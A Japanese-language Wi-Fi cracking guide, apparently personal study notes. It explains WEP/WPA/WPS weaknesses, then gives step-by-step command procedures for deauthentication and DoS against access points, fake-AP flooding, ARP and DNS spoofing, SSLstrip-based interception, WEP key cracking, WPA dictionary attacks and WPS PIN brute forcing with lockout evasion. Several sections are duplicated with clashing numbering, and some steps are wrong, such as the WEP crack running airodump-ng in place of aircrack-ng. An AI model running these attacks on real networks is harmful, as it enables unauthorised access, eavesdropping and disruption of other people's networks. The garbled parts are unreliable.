コンテンツにスキップ

1. 無線LAN(WIFI)

1.1. WIFIクラッキングの基礎知識

1.1.1. WiFIとは

IEEE802.11標準に基づくWLANのこと。

詳細はコチラから。

1.2.1. WIFIのクラッキングの種類

WIFIクラッキングは不正使用盗聴/中間者攻撃に分けられる。

不正使用

不正使用を行うにはAPのスキャニングが必要となる。 具体的にはWIFIを検出するデバイス(PCやスマホ)となる。

WIFIチョーキング

WIFIチョーキングは不正使用可能なAPをマーキングして共有すること。 WIFIチョーキングの手法には以下のようなことがある。

  • ウォーウォーキング ... 徒歩でオープンなWIFIを検出
  • ウォーフライング ... ドローンを使用してオープンなWIFIを検出
  • ウォードライビング ... 車を使用してオープンなWIFIを検出

盗聴/中間者攻撃

盗聴/中間者攻撃には以下のようなことがある。本稿これ以下ではこの手法に関してのヒントを記載する。

  • 不正APの設置 ... APモードが必要
    • 接続したユーザの通信の監視 ... Wiresharkなどの使用
    • 中間者攻撃の設置
  • 無線盗聴
    • 無線経路上のデータを傍受
    • 通信内容の盗聴(暗号解読の必要)

1.2.2. WIFIセキュリティの基本

暗号化規格

4Wayハンドシェイク

4Wayハンドシェイクは現在の一般家庭WIFIルータで広く使用されている規格であるWPA-PSKで使用されている手続き。

この手法によりクライアントは PTK (Pairwise Transient Key) と GTK (Group Temporal Key) という 2 種類の鍵をインストールする。

  • PTK ... ユニキャスト暗号・復号用の鍵
  • GTK ... マルチキャストおよびブロードキャスト暗号・復号用の鍵

4Wayハンドシェイク

クライアントとアクセスポイントはそれぞれ、事前に共有したパスワード(PSK)とアクセスポイントの ESSID から PMK (Pairwise Master Key) を計算する。

4Wayハンドシェイクの手順は以下の通り。

  1. アクセスポイントはランダムな値 ANonce を決めクライアントに送信する
  2. クライアントも同様にランダムな値 SNonce を決定し、PMK, 受け取ったANonce, SNonce, アクセスポイントの MAC アドレス, クライアントの MAC アドレスから PTK (Pairwise Transient Key) を計算する
  3. クライアントは SNonce と メッセージのペイロードと PTK から計算した MIC (Message Integrity Code) をアクセスポイントに送信する
  4. アクセスポイントは SNonce を受け取った後、クライアントと同様に PTK の計算および MIC の検証(MIC を計算し一致するか確認)を行う
  5. ANonce、マルチキャスト通信の暗号化に使用する鍵 GTK (Group Transient Key) および MIC をクライアントに送信する
  6. クライアントは ANonce、GTK および MIC を受け取った後、MIC の検証を行う
  7. ここまでで問題がなければ MIC のみを設定したメッセージ をアクセスポイントに返送する

ステップ4でクライアントの PSK が正しくない場合や、メッセージが改ざんされていた場合に検知することができる。 また、ステップ6でクライアントは不正なアクセスポイントに接続しようとしていないかを確認することができる。

SAEハンドシェイク

SAEハンドシェイクはWPA3において4Wayハンドシェイクを行う前に行われる手続きでWPA3に利用されている。

SAEハンドシェイク

1.2.3. WIFIアダプタの動作モード

WIFIクラッキングを行う場合WIFIアダプタはMonitorモードInjectionモードに対応している必要がある。 通常のWIFIアダプタはManagedモードのみに対応している。

Managedモード

Managedモードは通常の無線クライアントデバイスとして動作するモード。 このモードは一般的に通常のWi-Fi接続に使用される。

Monitorモード

Monitorモードはパケットキャプチャやネットワークトラフィックの監視に対応しているモード。 このモードではデバイスはアクセスポイントに接続せず、周囲のWi-Fiトラフィックを受信できる。 セキュリティ診断やネットワークトラブルシューティングなどで使用可能。

Monitorモードでキャプチャされるデータは、暗号化されたままのデータ(MACヘッダ+データ部+FCS)となる。 他、入手可能な情報として、受信した電波の強さや伝送速度などがある。

具体的に可能なことは以下の通り。

  • 周囲のWifiネットワークのSSIDやそこに繋がれているクライアントデバイス情報の取得
  • 行き来しているデータ/パケットを読むことによるパケットの解析
  • ARPテーブルを外部から操作するパケットの注入してから中間者攻撃でネットワーク通信の真ん中に入り、HTTPSに対する攻撃であるSSLStripからトロイの木馬へのすり替えを行う

Injectionモード

Injectionモードはセキュリティテストやハッキングのコンテキストで使用されるモードでネットワークにデータパケットを注入する機能がある。 このモードは通常セキュリティ研究や評価の一環として、ネットワークの脆弱性をテストするために使用される。

1.2.4. モード対応WIFIアダプタの入手方法

Monitor/Injectionモードに対応しているWIFIアダプタの入手にはWIFIアダプタ内のチップセットが重要となる。 そのためメーカやモデルよりも搭載されたチップセットを気にする必要がある。

対応アダプタを調べるために役に立つサイトを以下に記載する。

Aircrack-ng | DEPRECATED

1.2.5. WIFIルータの動作モード

WIFIルータにはAPモード(アクセスポイントモード)とRTモード(ルータモード)、WBモード(ブリッジモード)がある。

APモード

APモードは無線LANにおいて複数のクライアントをネットワークに接続するための電波を受けるモードアクセスポイントとして動作するワイヤレスなL2通信モード(スイッチングハブ)といえる。

RTモード

RTモードはAPモードの機能に加えてルーティング機能も併せ持つモード。 WANを含む異なるネットワークにつなぐ場合に必要な機能で、ワイヤレスなL3通信モード(ルータ)といえる。

WBモード

WBモードはルータをネットワーク自体の中継器にするためのモードブリッジとして動作するといえる。

1.3. WIFIの脆弱性への攻撃

WIFIの脆弱性に対する代表的な攻撃を一部記載する。

1.3.1. ディア・ジャミング攻撃

ディア・ジャミング攻撃は攻撃者がクライアントデバイスをネットワークから切断するために使用される攻撃手法のこと。 この攻撃により攻撃者はクライアントデバイスとアクセスポイントの通信を中断し、クライアントをネットワークから切り離すことができる。

具体的な内部動作としては、攻撃者端末はディア・ジャミング攻撃を実行するために特定のディア・アソシエーションフレームを送信する。 これにより、クライアントデバイスは一時的にネットワークから切断され再接続が必要な状態となる。この性質を悪用したものとなっている。

つまりこの攻撃はネットワークの適切な利用を妨害することが目的としてある。

1.3.2. Krack攻撃

Krack攻撃はWPA2暗号化プロトコルに対する攻撃クライアントとアクセスポイント間の暗号鍵を再インストールし通信を盗聴する中間者攻撃の一種。

具体的には攻撃者は中間者として振る舞い、暗号化鍵の再インストールを誘導する。 これにより攻撃者は通信を解読でき、通信の内容を盗聴できるというものになる。

Krack攻撃の目的はWPA2によって保護されているネットワーク通信を妨害し、機密情報を盗聴することになる。

Krack攻撃の仕組み

KRACK攻撃は4wayハンドシェイクの4Wayハンドシェイクの完了メッセージ①送信を中間者攻撃により意図的に止めることにより、ANonce、マルチキャスト通信の暗号化に使用する鍵 **GTK** (Group Transient Key) および MIC をクライアントに送信するメッセージ②を再送させる。

Krack

Krack攻撃はこのメッセージ③を再送させ続けることで TK をずっと同じものを使わせることが特徴となる。 この際の 同じ nonceや TK、同じパターンのnonceで暗号化されたフレームを解析することでパターンを解析し盗聴できるようにするものといえる。

1.3.3. PMKID攻撃

PMKID(Pairwise Master Key Identifier)攻撃はWPA/WPA2暗号化プロトコルに対する攻撃で暗号化キーを抽出しようと試みる攻撃。 攻撃者はPMKIDを収集し、ブルートフォース攻撃を使用して暗号化キーを推測する。 この攻撃は事前共有鍵を狙い、パスワードの破解を試みるというものである。

1.3.4. Evil-twins攻撃

Evil-Twin攻撃は、攻撃者が合法的なアクセスポイント(AP)と同じSSID(ネットワーク名)を使用して偽のAPを設定し、ユーザーを欺こうとする攻撃。 攻撃者は目標ユーザーが接続しやすいようにSSIDを合法的なAPと同じに設定し、ユーザーが接続すると、攻撃者は通信を傍受し機密情報を取得できるようにする。

1.2 WIFIセキュリティの仕組み

1.2.1. WEP

WEPはLANと同等のセキュリティーレベルをWLANで提供することを目的としたセキュリティ規格。 脆弱性が重大であるため使用が非推奨となっている。

WEPはデータの暗号化に単一の暗号鍵を使用しこの暗号鍵は定期的に変更されないため、セキュリティが脆弱となっている。 また、WEPの鍵の長さが短く予測可能なパターンを持つため、攻撃者が鍵を簡単に解読できる可能性が高い

WEPの脆弱性により、攻撃者はネットワークトラフィックを傍受し、暗号化されたデータを解読することが可能となっている。

1.2.2. WPA

1.2.3. WPA2

WPA2-PSK

WPA2-PSK(WPA2パーソナル)は端末と無線APで事前に設定されている共通のパスフレーズを使って認証する方式

WPA-PSK

WPA2-PSKではPSKを元にMSK(Master Session Key)を生成し、MSKの先頭256bitをPMKとして利用する。 この手法から同一のSSID配下のクライアントのPMKは同一となる

WPA2-PSKでは4way handshakeの通信を傍受することで、PSKを推測するための情報が収集でき、辞書攻撃によるパスワード解析が可能となる。

WPA2-EAP

WPA2-EAP(WPA2エンタープライズ)はEAPを使い認証サーバによる認証をする方式

WPA2-EAPでは認証サーバにより端末ごとに個別のMSKが生成される。 EAP認証が成功した後、生成されたMSKが端末に送信される。

1.2.4. WPA3

WPA3-Personal

WPA3-Enterprise

1.2.5. WPS

WPSは無線LAN端末と無線ルーターをボタン1つで簡単に設定するための規格

基本的にWPSでは、アクセスポイントとクライアントが一連のEAPメッセージを交換する。 このトランザクションの終了時に、クライアントは暗号化キーとAPの署名を取得し、暗号化されたネットワークに接続できるようになる。

1.3. WIFIの脆弱性への攻撃

WIFIの脆弱性に対する代表的な攻撃を一部記載する。

1.3.1. ディア・ジャミング攻撃

ディア・ジャミング攻撃は攻撃者がクライアントデバイスをネットワークから切断するために使用される攻撃手法のこと。 この攻撃により攻撃者はクライアントデバイスとアクセスポイントの通信を中断し、クライアントをネットワークから切り離すことができる。

具体的な内部動作としては、攻撃者端末はディア・ジャミング攻撃を実行するために特定のディア・アソシエーションフレームを送信する。 これにより、クライアントデバイスは一時的にネットワークから切断され再接続が必要な状態となる。この性質を悪用したものとなっている。

つまりこの攻撃はネットワークの適切な利用を妨害することが目的としてある。

1.3.2. Krack攻撃

Krack攻撃はWPA2暗号化プロトコルに対する攻撃クライアントとアクセスポイント間の暗号鍵を再インストールし通信を盗聴する中間者攻撃の一種。

具体的には攻撃者は中間者として振る舞い、暗号化鍵の再インストールを誘導する。 これにより攻撃者は通信を解読でき、通信の内容を盗聴できるというものになる。

Krack攻撃の目的はWPA2によって保護されているネットワーク通信を妨害し、機密情報を盗聴することになる。

1.3.3. PMKID攻撃

PMKID(Pairwise Master Key Identifier)攻撃はWPA/WPA2暗号化プロトコルに対する攻撃で暗号化キーを抽出しようと試みる攻撃。 攻撃者はPMKIDを収集し、ブルートフォース攻撃を使用して暗号化キーを推測する。 この攻撃は事前共有鍵を狙い、パスワードの破解を試みるというものである。

1.3.4. WPSピン攻撃

WPSピン攻撃はWPSのPINコードを解読しようとうする攻撃。 WPSはネットワーク接続を簡略化するための仕組みで、通常はPINを使用してデバイスをネットワークに接続する。 WPSピン攻撃は、WPSのPINコードを解読することでネットワークにアクセスできるというものになる。

この攻撃では通常ブルートフォースアタックでWPSピンコードを試行することとなる。

1.3.5. Evil-twins攻撃

Evil-Twin攻撃は、攻撃者が合法的なアクセスポイント(AP)と同じSSID(ネットワーク名)を使用して偽のAPを設定し、ユーザーを欺こうとする攻撃。 攻撃者は目標ユーザーが接続しやすいようにSSIDを合法的なAPと同じに設定し、ユーザーが接続すると、攻撃者は通信を傍受し機密情報を取得できるようにする。

1.4. WIFIのセキュリティへの攻撃

1.4.1. WEPへの攻撃

WEPキーの解読

WEPキーの解読のための一般的な攻撃には、鍵を総当たりで試行する方法(Brute Force攻撃)や、パケットの収集と統計的な手法(統計的攻撃)がある。

ARPリプレイ攻撃

既知のARPパケットを再生し、WEPキーを取得しようとするWEPの脆弱性を利用した攻撃が可能となっている。

1.4.2. WPAへの攻撃

TKIPの解読

WPAはTKIPと呼ばれる一時的な鍵管理プロトコルを使用してデータを暗号化する。 TKIPは時間が経過するにつれて弱体化するため、高度な攻撃よって解読される場合がある。

WPS攻撃

WPAのネットワークではWPSが有効になっている場合、PIN攻撃などの方法でWPSを乱用しネットワークにアクセスすることができる可能性がある。 これにより設定されたWPAパスワードが無視できる。

1.4.3. WPA2-PSKへの攻撃

ブルートフォースアタック

WPA2-PSKネットワークの最も一般的な攻撃方法はブルートフォースアタックとなる。 これは攻撃者がすべての可能なパスワード組み合わせを試すことを意味する。 強力なパスワードを使用している場合この攻撃は非常に困難となるが、弱いパスワードを使用している場合は攻撃が成功する可能性が高くなる。

辞書攻撃

辞書攻撃では攻撃者は一般的なパスワードや辞書内の単語のリストを使用してネットワークにアクセスしようとする。

ハンドシェイク攻撃

WPA2-PSKではクライアントとアクセスポイント間で安全なハンドシェイクが行われる。 このハンドシェイクをキャプチャすることでオフラインで解析しようとする攻撃もある。

強力なパスワードを使用している場合でも、ハンドシェイク攻撃に対する保護が不十分な場合はこの攻撃が有効になる場合がある。

1.5. AirCrack-ng

1.5.1. AirCrack-ngとは

Aircrack-ngはワイヤレスネットワークのセキュリティテストおよび解析を行うためのCLIツール。 Kali Linuxに標準搭載されている。 主にワイヤレスネットワークのセキュリティ強化と脆弱性診断に使用される。

具体的にはIEEE802.11のWEP/WPA-PSKキーのクラッキングが行える。

公式ドキュメント:https://www.aircrack-ng.org/doku.php

可能なことや特徴は以下の通り。

  • パスワードクラッキング
    • WEP/WPA/WPA2などのWIFI暗号化キーを解読する事が可能
  • ハンドシェイクキャプチャ
    • ワイヤレスネットワークのハンドシェイクトラフィックをキャプチャしそれを解析することが可能
  • スニッフィング
    • ワイヤレスネットワーク上のトラフィックをキャプチャし分析することが可能。
  • 無線ネットワークのテスト
    • 無線ネットワークの脆弱性をテストが可能

1.5.2. AirCrackの関連コマンド

公式ドキュメントはコチラから。

iwconfigコマンド(AirCrack搭載ではない)

無線LANインタフェースの参照・設定などができるLinuxシェル。

公式ドキュメント: https://linux.die.net/man/8/iwconfig

iwconfig # ネットワークアダプタ一覧の確認
iwconfig <インターフェイス> # インターフェイスの状態確認
iwconfig <インターフェイス> mode < managed | moniter > # モード切替え

airmon-ngコマンド

モニターモードを扱うためのコマンドレット。

airmon-ng <start|stop> <interface> [channel] or airmon-ng <check|check kill>

公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=airmon-ng

airmon-ng check # airmon-ng へ影響を与える全プロセスの確認
airmon-ng check kill # airmon-ng へ影響を与える全プロセスの強制終了
airmon-ng start <インターフェイス> # モニターモードの開始
airmon-ng stop <インターフェイス>mon # モニターモードの無効化
NetworkManager等のネットワーク管理プロセスが立ち上がっている場合、airmon-ng の動作が阻害されることがある。 そのための確認などを行う時に使用する。なおすべて停止させるにはairmon-ng check killを行う。

airodump-ngコマンド

パケットキャプチャ/スニッフィングに使用されるコマンドレット。

airodump-ng <options> <interface>[,<interface>,...]

公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=airodump-ng

airodump-ng <インターフェイス> # 無線状況の確認などができる
airodump-ng -c 6 --bssid 00:0F:8F:44:21:80 -w test-psk wlan0mon # wlanをモニターモードでチャンネル6のBSSID 00:~をtest-psk.capにパケットキャプチャし書き込む

aircrack-ngコマンド

WEP および WPA/WPA2-PSK キークラッキングプログラム実行用コマンドレット。

aircrack-ng [options] <capture file(s)>

# WPA/WPA2の辞書攻撃
aircrack-ng -w [wordlist] [pcap]

公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=aircrack-ng

airbase-ngコマンド

偽のアクセスポイントを設定するコマンドレット。

airdecap-ngコマンド

WEP/WPA/WPA2の暗号化を解くためのコマンドレット。

aireplay-ngコマンド

パケットインジェクションを行うためのコマンドレット。

aireplay-ng -9 <インターフェイス>

# Deauth(認証解除攻撃)をMACアドレスのアクセスポイントに実行
# Essidの非表示のAPの表示化に使える
aireplay-ng -0 20 -a [MACアドレス] [インターフェイス]

1.5.3. AirCrack-ngの使い方

ESSIDが非表示のネットワークを見る方法

# モニターモードで以下を実行
airmon-ng start wlan0
# WIFi状況の確認
airodump-ng wlan0mon
# Ctrl+Cで非表示ネットワークを確認
# BSSIDとCHをメモする
airodump-ng -c [チャンネル] --bssid [BSSID] wlan0mon
# 上記コマンドで観測を行う

# 別ウィンドウでDeauth攻撃を行う
aireplay-ng -0 [パケット数] -a [BSSID] wlan0mon

MACアドレスの偽装(macchanger)

MACアドレスの偽装例は以下の通り。 なおMACアドレスは偽装しても再起動後にデフォルトのMACアドレスに戻る。

ifconfig wlan0 down
macchanger -r wlan0
macchanger -m [偽装MAC] wlan0
ifconfig wlan0 up

アクセスポイントに対するDoS攻撃

# モニターモードで以下を実行
airmon-ng start wlan0
# WIFi状況の確認
airodump-ng wlan0mon
airodump-ng wlan0mon
# Ctrl+Cで非表示ネットワークを確認
# BSSIDとCHをメモする
airodump-ng -c [チャンネル] --bssid [BSSID] wlan0mon
# 上記コマンドで観測を行う

# 別ウィンドウでDeauth攻撃を行う
aireplay-ng -0 [パケット数(膨大)] -a [BSSID] wlan0mon

沢山の偽のアクセスポイント

mdk3 wlan0mon b -c [チャンネル] -f [ESSIDの名前リストファイル]

WEPに対する攻撃

1.12. 具体的な攻撃手法を参照。

1.6. coWPatty

1.6.1 coWPattyとは

coWPattyはワイヤレスネットワークのセキュリティを解析するための静的解析ツールの一つ。 具体的には、WPAおよびWPA2暗号化を使用して保護されているWi-Fiネットワークのパスワードを解析しようとするために使用できる。

このツールは、WPA/WPA2のパスワードをブルートフォース攻撃で求めるように設計されている。 そのため解析に非常に時間がかかる場合がある。しかし強力なコンピュータリソースや事前に収集したハンドシェイクキャプチャデータを使用することで、効果的にWPA/WPA2のパスワードを解析することができる。

1.6.2. coWPattyの関連コマンド

公式ドキュメントはコチラから。

1.7. Reaver

1.7.1. Reaverとは

ReaverはWIFiアクセスポイントへのWPSピン攻撃をブルートフォースで実行するツール。

https://github.com/t6x/reaver-wps-fork-t6x

1.8. Pixiwps

1.7.2. Pixiwpsとは

PixeWPS は、WPSトランザクション中にキー交換を総当たり攻撃するツール。

1.9. Wifite

1.9.1. Wifiteとは

Wifiteはターミナルからコマンドを使用して無線LANへのペネトレーションテストを行うツール。 特徴は以下の通り。

  • WLANのスキャンと暗号化方式、信号強度などの情報取得
  • Wi-Fiネットワークをスキャン、脆弱性を見つけるプロセスの自動化
  • WEP、WPA、WPA2、WPSへの攻撃サポート
  • ブルートフォースアタック、WPSピン攻撃、辞書攻撃へのサポート

Wifiteのコマンド

基本形は以下の通り。

wifite <オプション>
オプション 説明
-h ヘルプ
-v その他のオプション表示
-i <インターフェイス> 使用するインターフェイスの指定
-c <チャンネル> スキャンするチャンネルの指定
-inf 無限攻撃モードの有効化
-mac ワイヤレスカードのMACアドレスをランダム化
-p <スキャン時間(s)> スキャン時間の後にすべてのターゲットを攻撃する
-kill Airmon/Airodumpと競合するプロセスをキルする
-pow <最低シグナル強度> 最低シグナル強度以上の以上の信号強度を持つターゲットを攻撃
-skip-crack キャプチャーされたハンドシェイク/pmkidのクラッキングをスキップする
-first <ターゲット> 最初のターゲットを攻撃する
-clients-only 関連するクライアントを持つターゲットのみを表示
-nodeauths パッシブモード。クライアントの認証を解除しない
-daemon 終了後、デバイスをマネージドモードに戻す
オプション 説明
WEP
-wep WEPで暗号化されたネットワークのみを表示
-require-fakeauth fake-authが失敗した場合、攻撃を失敗させる
-keep-ivs .IVSファイルを保持し、クラック時に再利用する
WPA
-wpa WPAで暗号化されたネットワークのみを表示(WPS含む)
-new-hs 新しいハンドシェイクをキャプチャし、hsにある既存のハンドシェイクを無視する
-dict <ファイル> クラッキング用のパスワードを含むファイル指定
WPS
-wps WPS対応のネットワークのみを表示
-wps-only WPS PINとPixie-Dust攻撃のみを使用
-bully WPS PINやPixie-Dustの攻撃にいじめっ子プログラムを使用
-reaver WPS PINおよびPixie-Dust攻撃にreaverプログラムを使用
-ignore-locks APがロックされてもWPS PIN攻撃を停止しない
PMKID
-pmkid PMKIDキャプチャのみを使用し、他のWPSおよびWPA攻撃を回避する
-no-pmkid PMKIDキャプチャーを使用しない
-pmkid-timeout <秒> PMKID capturevを待つ時間の指定
COMMANDS
-cracked 今まで割れていたアクセスポイントを表示する
-check <ファイル(hs/*.cap)> .capファイル(またはすべてのhs/*.capファイル)のWPAハンドシェイクをチェックする
-crack キャプチャしたハンドシェイクをクラックするコマンドを表示

Wifiteの基本的な使い方

  1. wifiteの実行
  2. ターゲットのアクセスポイントが表示されたらCtrl+Cで停止する
  3. ターゲットのアクセスポイントの番号をCUI上に入力する
  4. パスワードクラシックの開始(時間(数時間)がかかる場合あり)

1.10. fern Wifi Cracker

fern Wifi CrackerはPythonで書かれたWIFIセキュリティ監査/ペネトレーションテスト用のGUIプログラム。 WEP/WPA/WPSキーのクラックとWLAN/Ethernetネットワークに対する攻撃が可能

特徴は以下の通り。

  • フラグメンテーション,ChipChop,Caferate,ARPリクエストリプレイ,WPS攻撃によるWPSクラッキングの対応
  • 辞書/WPSベースのWPA/WPA2への攻撃
  • クラッキングの成功時の鍵のデータベース自動保存
  • 自動AP攻撃の実行
  • ブルートフォースアタックの対応

1.11. BetterCap

Wi-Fi、BLE、ワイヤレスデバイス、イーサネットに対してスキャンやクラッキングを行うことのできるツール。 中間者攻撃を検証する際に利用できる。特徴は以下の通り。

https://www.bettercap.org/intro/

  • ARPスプーフィング、DNSスプーフィング、DHCPv6スプーフィング
  • JavaScriptプラグインで拡張可能なHTTP/HTTPSなどのプロキシ機能
  • クレデンシャル収集のためのネットワークスニファ機能
  • ポートスキャン機能
  • Wi-FiやBLEに対するスキャンやクラッキングの機能

基本的な使い方

起動

# BetterCapの利用
sudo bettercap -iface [インターフェース]

# 攻撃対象の確認(ARPテーブルの情報を表示)
net.show
# サブネット内の全IPアドレスに対してARPリクエストをブロードキャストする
net.probe [on | off]

ARPスプーフィング

## ARPスプーフィングの開始
set arp.spoof.fullduplex true
set arp.spoof.targets [IPアドレス]
arp.spoof [on | off]
# ARPスプーフィング開始後はWiresharkで通信を確認する

DNSスプーフィング

DNSスプーフィングのためにはどのドメイン名に対してどのIPアドレスに誘導するかを設定する必要がある。 方法は以下の2通り

  • インタラクティブシェル上からdns.spoof.addressdns.spoof.domainsを設定する方法
  • ドメイン名とIPアドレスを記述したファイルをあらかじめ作成してdns.spoof.hostsに読み込ませる方法

1番目の方法を解説。

set dns.spoof.domains [ドメイン名],[ドメイン名]...
set dns.spoof.address [IPアドレス]
set dns.spoof.all true
dns spoof [on|off]

2番目の方法を解説。

  1. spoof.hostsを作成(www.google.comなど書く)
  2. set dns.spoof.hosts ./[ファイル名]で設定を読み込む
  3. get dns.spoof.hostsで設定を確認
  4. dns spoof [on|off]でDNSスプーフィングを実行

透過型HTTPプロキシ

なお以下コマンドで建てた透過型プロキシではほとんどの場合は、httpsに対応したいサイトではHSTSが検知してしまう。

set http.proxy.sslstrip true
set net.sniff.verbose false
set arp.spoof.targets [IPアドレス]
arp.spoof on
http.proxy on
net.sniff on
SSLストリッピングとHSTSバイパスを行うHTTPプロキシ

以下手法ではSSLにおいてWWWからサブドメインが始まるURLのほとんどにTLS化が行われていることを利用して、ターゲットのFDQNをwwwからwwwwに変更を行い、名前解決をBettrecap側で行わせるものとなる。

sudo bettercap -I [インターフェイス] -X --gateway [ルータのIPアドレス] --target [IPアドレス] --proxy --parsers POST

1.12. 具体的な攻撃手法

1.12.1. WEPに対する攻撃 (airmon-ngの使用)

攻撃の種類はWEPキーの解読となる。 なお、攻撃対象はAPと端末が通信している必要がある

また途中で解析が止まった場合は以下の可能性がある。

  • パケット解析結果が少ない
  • 対象ルータへのアクセスが少ない

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • airmon-ng

攻撃手段

  1. 以下手順により攻撃対象のAPのBSSIDとChannnel情報、パケット情報を収集
  2. WIFIアダプタをMonitorモードに変更
    • ifconfig <インターフェイス> down
    • iwconfig <インターフェイス> mode monitor
    • ifconfig <インターフェイス> up
    • iwconfig <インターフェイス>で確認
  3. sudo airodump-ng <インターフェイス>でMonitorモード動作/BSSID/チャンネル情報の確認
  4. sudo airodump-ng -c <チャンネル番号> --bssid <BSSID> -w <作成したいパケットファイル名> <インターフェイス>でパケット情報収集(任意時間):※Dataが多くたまる必要あり
  5. sudo airodump-ng <作成したいパケットファイル名>-01.capでパスワード解析開始(時間がかかる)

1.12.2. WPAに対する辞書攻撃 (fern Wifi Crackerの使用)

攻撃には辞書データが必要

パスワードの辞書ファイル例は以下より。

SecLists | https://github.com/danielmiessler/SecLists

またKali Linuxの/usr/share/wordlists/以下にも辞書ファイルがある。 おすすめはrockyou.txt

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • fern Wifi Cracker
  • 必要なデータ
    • 辞書攻撃用の辞書ファイル

攻撃手順

  1. fern Wifi Crackerの起動
  2. 使用するWIFIアダプタを選択しrefreshを行う
  3. Tips-Scan settingの画面でokを押す
  4. Wifi WPAボタンを押す
  5. ターゲットのネットワーク名を選択する
  6. 左下のBrowseボタンで辞書ファイルを選択
  7. Attackボタンで攻撃を開始する

1.12.3. WPA2-PSKに対する辞書攻撃 (airmon-ng, cowpatty, genpmkの使用)

この攻撃は辞書攻撃となるため攻撃には辞書データが必要。 なお攻撃対象はAPと端末が通信している必要がある

パスワードの辞書ファイル例は以下より。

SecLists | https://github.com/danielmiessler/SecLists

またKali Linuxの/usr/share/wordlists/以下にも辞書ファイルがある。 おすすめはrockyou.txt

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • airmon-ng
    • genpmk
    • cowpatty
  • 必要なデータ
    • 辞書攻撃用の辞書ファイル

攻撃手順

  1. 以下手順により攻撃対象のAPのBSSIDとChannnel情報、パケット情報を収集
  2. WIFIアダプタをMonitorモードに変更
    • ifconfig <インターフェイス> down
    • iwconfig <インターフェイス> mode monitor
    • ifconfig <インターフェイス> up
    • iwconfig <インターフェイス>で確認
  3. sudo airodump-ng <インターフェイス>でMonitorモード動作/BSSID/チャンネル情報の確認
  4. sudo airodump-ng -c <チャンネル番号> --bssid <BSSID> -w <作成したいパケットファイル名> <インターフェイス>でパケット情報収集(任意時間)
  5. レインボテーブルの作成
  6. genpmk -f <辞書ファイル> -d <作成したいレインボテーブル名> -s <任意のSSID名>でレインボテーブルの作成
  7. レインボテーブルによるパスワード解析
  8. cowpatty -r <パケットキャプチャファイル(.cap)> -d <作成したレインボテーブル> -s <任意のSSID名>によりパスワード算出

1.12.4. WPSに対するWPSピン攻撃 (reaverの使用)

この攻撃はWPSピン攻撃となるため攻撃にはルータがWPSに対応している必要がある。 なお攻撃に時間がかかる場合がある。

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • reaver

攻撃手順

  1. 以下手順により攻撃対象のAPのBSSIDとChannnel情報を収集
  2. WIFIアダプタをMonitorモードに変更
    • ifconfig <インターフェイス> down
    • iwconfig <インターフェイス> mode monitor
    • ifconfig <インターフェイス> up
    • iwconfig <インターフェイス>で確認
  3. sudo airodump-ng <インターフェイス>でMonitorモード動作/BSSID/チャンネル情報の確認
  4. 脆弱なWPSが実装されたAPを見つける
  5. wash -i <インターフェイス>monで脆弱なWPS実装を見つけBSSID/チャンネルを記録する
  6. Reaverを起動しブルートフォースアタックを開始する
  7. reaver -i <インターフェイス>mon -c <チャンネル> -b <BSSID> -vvにより攻撃開始
  8. もしWPS PIN を取得出来たらそれをメモし以下コマンドでWPAキーを取得する
  9. reaver -i <インターフェイス>mon -b <BSSID> -vvNwL -c 1 -p <PIN>

なお3フェーズにおいてうまく行かなかった場合、reaver -i <インターフェイス>mon -c <チャンネル> -b <BSSID> -vv -L -N -d 15 -T .5 -r 3:15のように高度なオプションを装備してReaverがうまく攻撃できるようにできる。 オプションは以下の通り。

  • -L ... ロックされたWPS状態の無視
  • -N ... エラー検出後NACKパケットを送信しない
  • -d 15 ... PINの試行間隔の設定(15s)
  • -T .5 ... タイムアウト期間の設定(0.5s)
  • -r 3:15 ... 3回の試行後15秒スリープ
  • -K ... ピクシーダスト攻撃の有効化(Ralink・Broadcom・Realtek各社の無線LANチップに有効)